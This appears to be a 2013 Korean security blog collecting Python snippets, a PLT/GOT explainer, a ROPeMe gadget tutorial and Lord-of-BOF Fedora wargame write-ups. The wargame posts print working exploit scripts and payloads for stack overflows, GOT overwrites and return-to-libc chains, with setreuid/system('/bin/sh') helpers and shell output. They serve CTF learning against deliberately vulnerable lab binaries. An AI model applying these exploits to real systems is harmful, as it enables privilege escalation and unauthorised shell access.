Lambda 표현식은 C언어의 메크로 함수와 비슷한 역할을 하는 것 같다.


g = lambda x,y : x*y

>> g(2,3)

6

>> g(3,4)

12

>>


p = lambda x : pack("<L" , x)

 

"  <  "  : little endian

"  >  "  : big endian


L : Unsigned Long 형태  (32bit 에서 자주쓰임)

Q : Unsinged Long Long 형태 (64bit에서 자주 쓰임)



p(0x08040552) 하면 little endian 으로 Long 형태로 변환되어 packing 된다.





Format        C Type         Python        

x         pad byte            no value         

c         char                   string         

b         signed char         integer         

B         unsigned char       integer         

?         _Bool                 bool        

h         short                     integer         

H         unsigned short      integer         

i         int                     integer         

I         unsigned int            integer or long         

l         long                     integer         

L         unsigned long       long         

q         long long               long        

Q         unsigned long     long      

f         float                     float         

d         double             float         

s         char[]             string         

p         char[]             string         

P         void *             long         



Character       Byte order       Size and alignment

@         native         native

=         native         standard

<         little-endian           standard

>         big-endian               standard

!         network (= big-endian)  standard



thanks for 충호~


Posted by k1rha
2013. 5. 30. 22:51
python2.7 thread 예제 코드 

import thread, time


def counter(id):

    for i in range(5):

        print 'id %s --> %s' % (id, i)

        time.sleep(1)



for i in range(5):

    thread.start_new_thread(counter, (i,))


time.sleep(5)

print 'Exiting'


Posted by k1rha
2013. 4. 28. 18:41

KEYWORD  : LOB 페도라 원정대 페도라4 오버플로우 



dark_stone 부터는 페도라 원정대3에서 페도라 원정대 4로 이미지를 바꾸어 진행하여야 한다.

cruel 문제부터 봐보면 오히려 간단해진 문제를 볼수 있다.



strcpy 부분에서 인자값을 복사하면서 경계값을 검사 하지 않아 오버플로우가 발생한다.

execl 을 이용하여 심볼릭 링크를 걸고 공격 하는 방법을 다시 써서 공략하였다.


(gdb) p execl

$1 = {<text variable, no debug info>} 0x832d68 <execl>

0x08048451 <main+109>: ret    


RET = 0x08048451

execl  = 0x832d68


스택은 랜덤하기 떄문에 RET 슬라이딩을 이용하여 eip를 움직여 스택이 정적인 부분까지 끌어 올리는 방식을 택하였다.

여기서 3번정도면 스택이 정적인 부분을 찾을 수 있었으나, 인자값을 구하기 쉬운 부분을 선택하기 위하여 RET을 7번이나 더해주게 되었다.

[dark_stone@Fedora_2ndFloor ~]$ sstrace -i ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`

[008a1402] execve("./cruel", ["./cruel", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...], [/* 20 vars */]) = 0

.

.

[009c1402] execve("<춯", ["", "U\211\345WVS\203\354\f\350", "", "Q\204\4\10Q\204\4\10\234\245\307\277\364\257\214", "\205\300uSe\241T"], [/* 20 vars */]) = -1 ENOENT (No such file or directory)  //execl 의 인자가 짧다.


[dark_stone@Fedora_2ndFloor ~]$ strace -i ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'` 2> result.txt

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ?Q?Q?Q?Q?Q?Q?h-?

[dark_stone@Fedora_2ndFloor ~]$

[dark_stone@Fedora_2ndFloor ~]$ xxd result.txt 

.

.

.

0000740: 6435 3430 325d 2065 7865 6376 6528 223c  d5402] execve("<

0000750: ad8c 222c 205b 2222 2c20 2255 5c32 3131  ..", ["", "U\211

.

.

 execl 인자값 :  \x3\xad\x8c 가 이자값이 되어 실행 되었다.


다음은 execl 의 인자값을 쉘을 떨어트릴 수 있는 프로그램으로 심볼릭 링크를 걸어준다.

[dark_stone@Fedora_2ndFloor ~]$ cat system.c

#include<stdio.h>

int main(int argc, char *argv[]){

setreuid(geteuid(),geteuid());

system("/bin/sh");

}

[dark_stone@Fedora_2ndFloor ~]$ export PATH=$PATH:/home/dark_stone  

[dark_stone@Fedora_2ndFloor ~]$ ln -s system `python -c 'print "\x3c\xad\x8c"'`



공격 페이로드는 다음과 같다.


[ buffer = 260 ] [ RET ] * 7 , [ execl ] [ 어딘가의 인자값 ]

                                                      \x3c\xad\x8c -> "/bin/sh 을 실행시켜주는 프로그램 "

                      


[dark_stone@Fedora_2ndFloor ~]$ ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ?Q?Q?Q?Q?Q?Q?h-?

sh-3.00$ id

uid=501(cruel) gid=500(dark_stone) groups=500(dark_stone) context=user_u:system_r:unconfined_t

sh-3.00?y-pass

sh: ?y-pass: command not found

sh-3.00$ my-pass

euid = 501

come on, come over

sh-3.00$ 



Posted by k1rha
2013. 4. 19. 15:55

ropeme 사용하여 ROP 가젯 쉽게 구하기.



ropeme-bhus10.tbz2


파일을 리눅스에 올리고 압축을 풀어주고 들어가면 distorm 이 있는데 그것가지 압축을 풀어준다.


root@ubuntu:/home/root/ropeme-bhus10# ls

README  distorm-1.7.30  distorm-1.7.30.tar.gz  exploit.py  ropeme  vuln  vuln.c

root@ubuntu:/home/root/ropeme-bhus10#tar -xvf distorm-1.7.30.tar.gz


root@ubuntu:/home/root/ropeme-bhus10# cd distorm-1.7.30/


root@ubuntu:/home/root/ropeme-bhus10/distorm-1.7.30# ls

COPYING   PKG-INFO  cygwin-x86  linux-x86_64  macosx-x86  setup.py       windows-x86

MANIFEST  build     linux-x86   macosx-ppc    setup.cfg   windows-amd64

각 환경에 맞게 설치가 되도록 되어 있다.


root@ubuntu:/home/root/ropeme-bhus10/distorm-1.7.30# ./setup.py build

root@ubuntu:/home/root/ropeme-bhus10/distorm-1.7.30# ./setup.py install

설치를 해준뒤 ropeme 폴더로 이동한다.


root@ubuntu:/home/root/ropeme-bhus10/ropeme# ./ropshell.py 

Simple ROP interactive shell: [generate, load, search] gadgets

ROPeMe> 


그리고 취약한 파일을 어셈으로 덤프를 뜨는 명령어를 쓴다.

root@ubuntu:/home/root/ropeme-bhus10# ls

README  distorm-1.7.30  distorm-1.7.30.tar.gz  exploit.py  ropeme  vuln  vuln.c

root@ubuntu:/home/root/ropeme-bhus10# ./ropeme/ropshell.py 

Simple ROP interactive shell: [generate, load, search] gadgets

ROPeMe> generate vuln

Generating gadgets for vuln with backward depth=3

It may take few minutes depends on the depth and file size...

Processing code block 1/1

Generated 60 gadgets

Dumping asm gadgets to file: vuln.ggt ...

OK

ROPeMe> 



ROPeMe> search pop ?     //? 는 검색문자열의 주소이고 

Searching for ROP gadget:  pop ? with constraints: []

0x80484b4L: pop ebp ;;

0x8048573L: pop ebp ;;

0x80485d8L: pop ebp ;;


ROPeMe> search pop %   //% 는 검색 문자열의 포함 주소이다.

Searching for ROP gadget:  pop % with constraints: []

0x8048384L: pop eax ; pop ebx ; leave ;;

0x80485d8L: pop ebp ; ret ; mov ebx [esp] ;;

0x80484b4L: pop ebp ;;

0x8048573L: pop ebp ;;

0x80485d8L: pop ebp ;;

0x8048385L: pop ebx ; leave ;;

0x8048625L: pop ebx ; leave ;;

0x80484b3L: pop ebx ; pop ebp ;;

0x8048608L: pop ebx ; pop ebp ;;

0x8048624L: pop ecx ; pop ebx ; leave ;;

0x80485d7L: pop edi ; pop ebp ;;

0x80485d6L: pop esi ; pop edi ; pop ebp ;;


ROPeMe> 



Posted by k1rha
2013. 4. 14. 15:14

LOB Fedora 원정대 ( evil_wizard -> dark_stone )

key word : GOT overwrite , Remote Buffer Overflow Got overwrite 



지난번 문제와 거의 동일하다. 다만 리모트 환경으로 넘어오게 된다.



지난번 문제와 큰차이는 없으나, 리모트 환경이다. 8888 번 포트로 전송 시키되, execve 를 쓸필요 없고 system 함수로

쉘만 획득해도 권한이 상승 한다.  지난번과 똑같은 PAYLOAD 로 공격하려고 했으나 많은 실패가 있었는데 GOT table 을 망가트리는

현상이 일어나는 것 같았다.

[ROP] 문서 내용 중..

custom stack 의 위치를 정하기 위해 주의해야 할 사항:

· 주소안에서 NULL 값을 피하기위해 우리는 마지막 byte 값을 낮은 값으로 선택해줘야 한다. (예:

0x8049810)

· GOT 테이블이 예상치 못하게 덮어지는 상황을 주의해야 한다.

· 스택은 높은주소에서부터 낮은 주소로 자라기 때문에, data 영역을 시작 주소로 잡아서는 안된다.

(예: 시작주소를 0x8049010 으로 잡아버리면 ret-to-libc call 이 실패할 것이다.)

· 보통은 ".data" 혹은 "bss" 영역 이후의 주소로 잡아주는것이 custom stack 을 설정하기에 좋다.


[ 이전 공격구문 ]

[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 

[ 공격구문 ]


[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+0 ] , [ execve 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+1 ] , [ execve 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+2 ] , [ execve 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+3 ] , [ execve 네번째 바이트를 가진 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[고정된 주소 아무곳이나.. 심볼릭 링크를 걸 것임 == /bin/sh 가 안됐음 ]


[ 이번에 적용한 공격구문 ]


[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 

[ 공격구문 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 0 ] , [ system 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 1 ] , [ system 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 2 ] , [ system 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 3 ] , [ system 네번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT ] , [ CUSTOM_ADDR 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[ &/bin/sh ]


위 공격 구문을 구성하기 위해서 필요한 것들은 다음과 같다.


memcpy@plt :  0x08048418

(gdb) x/5i 0x08048418

0x8048418 <_init+120>: jmp    *0x8049850


memcpy@got : 0x08049850

strcpy@plt  : 0x08048438

PPR : 0x080484f0  

"/bin/sh" @ addr = 0x833604

system : 0x7507c0

c0 : 0x80484d0

07 : 0x8048ca9

75 : 0x80486ee

00 : 0x804875e


임의의 스택값 : 0x80498a0: 0x00000000 0x00000000 0x00000000 0x00000000

//이경우 memcpy@got 에 직접 씌워주려 했으나, 실패했다. GOT table이 깨지는 듯 하여 임의의 주소값에 system 주소를담고 다시 이를 memcpy 로 가져옴으로써 정확한 주소값만 Overwrite를 할 수 있도록 하였다.



1. 번외 : [/bin/sh] 주소값 찾기

system 함수 내에는 do_system 이란 함수가 존재하고 이는 /bin/sh 를 인자값으로 쓴다.

때문에 system 함수를 기점으로 문자열을 검색해보면 [/bin/sh] 의 주소값을 찾을 수 있다.



[evil_wizard@Fedora_1stFloor ~]$ cat findsh.c

#include<stdio.h>

int main(int argc, char *argv[]){


int addr=0x007507c5; //system 함수의 주소

while(1){

if(memcmp(addr++,"/bin/sh",8)==0){

printf("[%p]\n",addr);

break;

}

}


return 0;

}




복사 붙여넣기 용 소스코드

[ source code ]

import os


MEMCPY_GOT = "\x50\x98\x04\x08"

BINSH = "\x03\x36\x83\x00"

CALL_MEMCPY = "\x95\x85\x04\x08"


#SYSTEM = "\xc0\x07\x75\x00"

ADDR_C0 = "\xd0\x84\x04\x08"

ADDR_07 = "\xa9\x8c\x04\x08"

ADDR_75 = "\xee\x86\x04\x08"

ADDR_00 = "\x5e\x87\x04\x08"


STRCPY =  "\x38\x84\x04\x08" 

PPR =  "\xf3\x84\x04\x08"


CUSTOM_0 =  "\xa0\x98\x04\x08"

CUSTOM_1 =  "\xa1\x98\x04\x08"

CUSTOM_2 =  "\xa2\x98\x04\x08"

CUSTOM_3 =  "\xa3\x98\x04\x08"


def main():


BUFFER = "\x90"*268

ATTACK = BUFFER + \

STRCPY + PPR + CUSTOM_0 + ADDR_C0+\

 STRCPY + PPR + CUSTOM_1 + ADDR_07+\

 STRCPY + PPR + CUSTOM_2 + ADDR_75+\

 STRCPY + PPR + CUSTOM_3 + ADDR_00+\

 STRCPY + PPR + MEMCPY_GOT + CUSTOM_0+\

 CALL_MEMCPY + BINSH

print ATTACK


if __name__ ==  '__main__':

main()


[evil_wizard@Fedora_1stFloor ~]$ (python exploit6.py ;cat)| nc localhost 8888

dark_stone : how fresh meat you are!

you : id           

uid=505(dark_stone) gid=505(dark_stone) context=user_u:system_r:unconfined_t

my-pass

euid = 505

let there be light

[dark_stone@Fedora_1stFloor ~]$ ls -al

total 56

drwx--x---  2 dark_stone dark_stone 4096 Apr 28  2010 .

drwxr-xr-x  8 root       root       4096 Apr 28  2010 ..

-rw-r--r--  1 dark_stone dark_stone   24 Apr 28  2010 .bash_logout

-rw-r--r--  1 dark_stone dark_stone  191 Apr 28  2010 .bash_profile

-rw-r--r--  1 dark_stone dark_stone  124 Apr 28  2010 .bashrc

-rw-r--r--  1 root       root        580 Apr 28  2010 dropped_item.txt

-rw-r--r--  1 dark_stone dark_stone  383 Apr 28  2010 .emacs

[dark_stone@Fedora_1stFloor ~]$ cat dropped_item.txt 

                   ,.

                 ,'  `.

               ,' _<>_ `.

             ,'.-'____`-.`.

           ,'_.-''    ``-._`.

         ,','      /\      `.`.

       ,' /.._  O /  \ O  _.,\ `.

     ,'/ /  \ ``-;.--.:-'' /  \ \`.

   ,' : :    \  /\`.,'/\  /    : : `.

  < <>| |   O >(< (  ) >)< O   | |<> >

   `. : :    /  \/,'`.\/  \    ; ; ,'

     `.\ \  /_..-:`--';-.._\  / /,'

       `. \`'   O \  / O   `'/ ,'

         `.`._     \/     _,','

           `..``-.____.-'',,'

             `.`-.____.-','

               `.  <>  ,'

                 `.  ,' 

- 끝 -


Posted by k1rha
2013. 4. 7. 21:06

keyword : load of bof , LOB ,Fedora,  BOF, GOT, overwrite, (hell_fire -> evil_wizard)


[hell_fire@Fedora_1stFloor ~]$ cat evil_wizard.c

/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3   

- hint : GOT overwriting    //GOT overwrite 를 하라는 힌트가 있음

*/


// magic potion for you

void pop_pop_ret(void) //좀있다 사용될 PPR 코드를 만들어 둬서 찾기 쉽게 만들어줌. 

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);   // EBP 를 저장시킴

 

// overflow!!

strcpy(buffer, argv[1]);   //OVER FLOW 발생지점 


// restore sfp 

memcpy(buffer+264, saved_sfp, 4); //EBP를 복원시켜서 오버플로우로 EBP바뀐것이 소용없도록함


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); 


printf("%s\n", buffer);

}



GOT overwrite는 FSB(Formet string bug)에서 자주 사용되는 공격 기법이다. 

PLT 와 GOT 에 대한건  system 게시판 GOT PLT 심층 분석을 통해 보고 여기서는 풀이에 힘을 쏟겠다. 


이전 문제와 같이 268 바이트면 EBP까지 덮어 쓰고 RET을 덮기 시작한다.


공격의 설명은 다음과 같다.

memcpy GOT 주소를 execve 실 주소로 덮어 쓰는 것이다. 

그렇게 되면 memcpy 를 실행하는 대신에 execve 를 실행하게 될 것이다.



[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 


[ 공격구문 ]


[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+0 ] , [ execve 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+1 ] , [ execve 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+2 ] , [ execve 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+3 ] , [ execve 네번째 바이트를 가진 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[고정된 주소 아무곳이나.. 심볼릭 링크를 걸 것임 ]




필요한 함수들의 주소

(gdb)p execve

{<text variable, no debug info>} 0x7a5490 <execve>


(gdb) info func

0x0804854c  pop_pop_ret


[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizard | grep strcpy

08048494 <strcpy@plt>:

 8048624: e8 6b fe ff ff       call   8048494 <strcpy@plt>

(gdb) x/10xi 0x8048434

0x8048434 <_init+104>: jmp    *0x8049888

0x804843a <_init+110>: push   $0x20

(gdb) x/10xi 0x8049888   //memcpy GOT 주소값 

0x8049888 <_GLOBAL_OFFSET_TABLE_+28>: rclb   $0x60,0x0(%eax,%edi,2)

0x804988d <_GLOBAL_OFFSET_TABLE_+33>: cwtl   

(gdb) x/10xi *0x8049888  //memcpy GOT 주소값의 값들을 확인해보면 memcpy가 들어있음

0x7854c0 <memcpy>: mov    0xc(%esp),%ecx

0x7854c4 <memcpy+4>: mov    %edi,%eax

0x7854c6 <memcpy+6>: mov    0x4(%esp),%edi


[ 정리 ]


 PPR  address : 0x0804854c

 strcpy@PLT    : 0x8048494

 memcpy@GOT 0x8049888

 execve          : 0x007a5490

                              0x90  : 0x8049450

0x54  : 0x80487b4

0x7a  : 0x8048898

0x00  : 0x8048798


main+240         : 0x08048644



- main+240 주소값 구하기 

(gdb)disass main

0x08048644 <main+240>: call   0x8048434 <_init+104>

   



- execve 주소값을 가지고 있는 주소값 구하기 (고정된 주소는 다 뒤져야함)

0x80487b0: 0x0000000d 0x08048754 0x00000004 0x08048148

(gdb) x/x 0x080487b0+4

0x80487b4: 0x08048754


0x8048790: 0x00000000 0xffffffff 0x00000000 0x00000000

(gdb) x/x 0x8048790+8

0x8048798: 0x00000000


0x804888c: 0x0804844a 0x0804845a 0x0804846a 0x0804847a

(gdb) x/x 0x804888c+12

0x8048898: 0x0804847a


0x804944c: 0xe9000000 0xffffff90 0x989025ff 0x30680804

(gdb) x/x 0x804944c+4

0x8049450: 0xffffff90





[ 공격구문 ]



import os

def main():


        x= "x"*268+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+\

                "\x44\x86\x04\x08"+"\xc6\x84\x04\x08"


                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+0 + execve_1st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+1 + execve_2st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+2 + execve_3st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+3 + execve_4st_addr <- addr

                 #main+240 (EBP)  + somewhere static address


        TARGET = "./evil_wizard"

        CMD = TARGET + " " + x

        os.system(CMD)


if __name__ == '__main__' :

        main()


   

[hell_fire@Fedora_1stFloor ~]$ strace -i ./evil_wizard `python -c 'print "x"*268+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+"\x44\x86\x04\x08"+"\xc6\x84\x04\x08"'`//고정된 주소 값 

.

.

.[007037a2] execve("??U???, [0], [/* 0 vars */]) = -1 ENOENT (No such file or directory) //특정값을 실행

[00784fd7] --- SIGSEGV (Segmentation fault) @ 0 (0) ---

upeek: ptrace(PTRACE_PEEKUSER,4524,48,0): No such process

[????????] +++ killed by SIGSEGV +++

[hell_fire@Fedora_1stFloor ~]$ 


[hell_fire@Fedora_1stFloor ~]$ strace -i ./evil_wizard `python -c 'print "x"*268+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+"\x44\x86\x04\x08"+"\xc6\x84\x04\x08"'` 2> error.txt //고정된 주소 값

 

[hell_fire@Fedora_1stFloor ~]$xxd error.txt

0000970: 3761 325d 2065 7865 6376 6528 2290 9055  7a2] execve("..U

0000980: 89e5 53e8 222c 205b 305d 2c20 5b2f 2a20  ..S.", [0], [/* 


위에 검은색 부분을 실행시킴 


[hell_fire@Fedora_1stFloor ~]$ make system

cc     system.c   -o system   // setreuid 와 system("/bin/sh") 프로그램


[hell_fire@Fedora_1stFloor ~]$ ln -s ./system `python -c 'print "\x90\x90\x55\x89\xe5\x53\xe8"'`

[007037a2] execve("??U???, [0], [/* 0 vars */]) = 0


[hell_fire@Fedora_1stFloor ~]$  ln -s ./system `python -c 'print "\x90\x90\x55\x89\xe5\x53\xe8"'`

[hell_fire@Fedora_1stFloor ~]$ python exploit.py 

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(???O???P???O???큸??O???????O?????D??

sh-3.00$ id

uid=504(evil_wizard) gid=504(evil_wizard) groups=503(hell_fire) context=user_u:system_r:unconfined_t

sh-3.00$ 

sh-3.00$ my-pass

euid = 504

get down like that

sh-3.00$ 


Posted by k1rha
2013. 4. 7. 14:36

keyword  : 문자열 조합 brute forcing 


부르투 포싱을 할때 쓸 문자열 조합 방법이다.


import time


your_list1 = 'abcdefghijklmnopqrstuvwxyz'

your_list2 = '1234567890'

your_list3 = 'abcdefghijklmnopqrstuvwxyz1234567890'

TheKey = ''

current =''


def bruteForcing(y):

        for current in xrange(7):

                TheKey = [i for i in your_list1]

                for y in xrange(current):

                        TheKey = [x+i for i in your_list1 for x in TheKey]

                for i in range(0,len(TheKey)) :

                        print TheKey[i]



def main():


        bruteForcing(0)


if __name__ == '__main__' :

        main()

Posted by k1rha
2013. 4. 5. 23:51

Keyword  : PLT & GOT 심층 분석.  왜사용되나? 그리고 어떠한 상관 관계에 있는가?


우선 아래 몇가지 용어는 확실하게 정의하고 넘어가자.


   .GOT(Global offset Table)

함수 호출 시 가변적이면서도 빠르게 검색을 하기 위해 생성되는 TABLE 이다.

첫 호출시엔 코드 영역의 벡터 주소가 들어있고,

두번째 부터는 그 함수의 실제 주소가 들어가게 된다.

 .PLT(Procedure Linked Table)

 컴파일 타임에 생성되는 테이블로 어떠한 GOT영역의 주소를 참조 할지 정해져 있다.

 _dl_runtime_resolve

 _dl_runtime_resolve 함수는 전달된 인자 값을 사용하여 호출된 함수의 실제 주소를 구한 후 GOT에 저장한 뒤 호출된 함수로 점프한다. (GOT을 두번째 참조 할때부턴 호출되지 않는다.)

 _init  컴파일시 생성되는 함수로 미리 선언 되어 있는 코드 영역이다.


정확하지 않을 수 있지만, 커널은 어떠한 함수가 호출 될때, 자주 호출될 법한, 빈도수 높은 함수들을 GOT 에 집어 넣고,

빠르게 사용하기 위해 위와 같은 구조로 설계 되어 있는 듯하다. 

내가 이제부터 작성할 문서는 사실 GOT 영역을 컴파일시에 결정해 놓으면 PLT 과정이 생략되도 되지 않을까? 하는 생각에서 시작된 분석이다. 결론적으론 GOT 영역에 모든 함수의 실제 주소값을 다 넣어두게 된다면, GOT 자체의 크기도 너무 커져 버리고, 무의미하게 되는 것이다.  


보통 검색을 하다보면 PLT 와 GOT 에 대해서만 설명이 많이 되어 있는데, 내가 생각하기에 결론적으로 중요한 핵심은

_dl_runtime_resolve 가 맡고 있었다. 이놈이 GOT에 함수주소들을 찾아 저장시켜줌으로써 아래와 같은 과정이 이뤄지는 것이다.



 @Fedora_1stFloor TEST]$ readelf -S test


  [ 9] .rel.plt          REL                 08048288 000288 000018 08   A  4  11  4

  [10] .init             PROGBITS        080482a0 0002a0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080482b8 0002b8 000040 04  AX  0   0  4

  [12] .text             PROGBITS        080482f8 0002f8 0001d0 00  AX  0   0  4

  [13] .fini             PROGBITS        080484c8 0004c8 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        080484e4 0004e4 000011 00   A  0   0  4

  [15] .eh_frame         PROGBITS        080484f8 0004f8 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        080494fc 0004fc 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049504 000504 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        0804950c 00050c 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         08049510 000510 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        080495d8 0005d8 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        080495dc 0005dc 000018 04  WA  0   0  4

  [22] .data             PROGBITS        080495f4 0005f4 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049600 000600 000004 00  WA  0   0  4


[12번] 텍스트 영역에는 컴파일시 생성된 어셈 코드들이 담겨 있다. 그리고 좀더 높은 영역으로 가다보면 main 함수를 거쳐 got.plt 영역까지 보이게 된다.

(gdb) x/50xi 0x080482f8

0x80482f8 <_start>: xor    %ebp,%ebp

0x80482fa <_start+2>: pop    %esi

0x80482fb <_start+3>: mov    %esp,%ecx



           

아래는 printf 를 두번 호출해 코드의 디버깅 모습이다. 빨간색으로 표히산 부분들이 printf를 호출하는 부분인데 이를 트레이싱해보겠다.


 (gdb) disass main

Dump of assembler code for function main:

0x080483b8 <main+0>: push   %ebp

0x080483b9 <main+1>: mov    %esp,%ebp

0x080483bb <main+3>: sub    $0x8,%esp

0x080483be <main+6>: and    $0xfffffff0,%esp

0x080483c1 <main+9>: mov    $0x0,%eax

0x080483c6 <main+14>: add    $0xf,%eax

0x080483c9 <main+17>: add    $0xf,%eax

0x080483cc <main+20>: shr    $0x4,%eax

0x080483cf <main+23>: shl    $0x4,%eax

0x080483d2 <main+26>: sub    %eax,%esp

0x080483d4 <main+28>: sub    $0xc,%esp

0x080483d7 <main+31>: push   $0x80484ee

0x080483dc <main+36>: call   0x80482e8 <_init+72>

0x080483e1 <main+41>: add    $0x10,%esp

0x080483e4 <main+44>: sub    $0xc,%esp

0x080483e7 <main+47>: push   $0x80484f0

0x080483ec <main+52>: call   0x80482e8 <_init+72>

.

.

(중략)

처음 call   0x80482e8 <_init+72> 호출되는 부분이 PLT 이다.

이를 따라가보면 아래와 같다.

(gdb) x/10xi 0x80482e8

0x80482e8 <_init+72>: jmp    *0x80495f0

0x80482ee <_init+78>: push   $0x10

0x80482f3 <_init+83>: jmp    0x80482b8 <_init+24>


처음 호출된 주소를 따라가면 jmp    *0x80495f0 를 만나게 된다. 이를 살펴보면 GOT 영역이란 것을 알 수 있다. 여기까지는 PLT -> GOT을 참조하는 영역으로써 컴파일 시에 이미 결정 되어 있는 것이다.

그값을 보면 GOT영역이라는 것을 확연히 볼 수 있다.


(gdb) x/12x 0x80495f0-20   //테이블을 전체를 보여주기 위해 20만큼 빼 보기좋게 표현했다.

0x80495dc <_GLOBAL_OFFSET_TABLE_>: 0x08049510 0x007194f8 0x0070e9e0 0x080482ce

0x80495ec <_GLOBAL_OFFSET_TABLE_+16>:0x00730d50 0x080482ee 0x00000000 0x00000000


이러한 테이블이 참조하는 영역은 아래와 같다.

(gdb) x/10xi *0x80495f0 

0x80482ee <_init+78>: push   $0x10

0x80482f3 <_init+83>: jmp    0x80482b8 <_init+24>


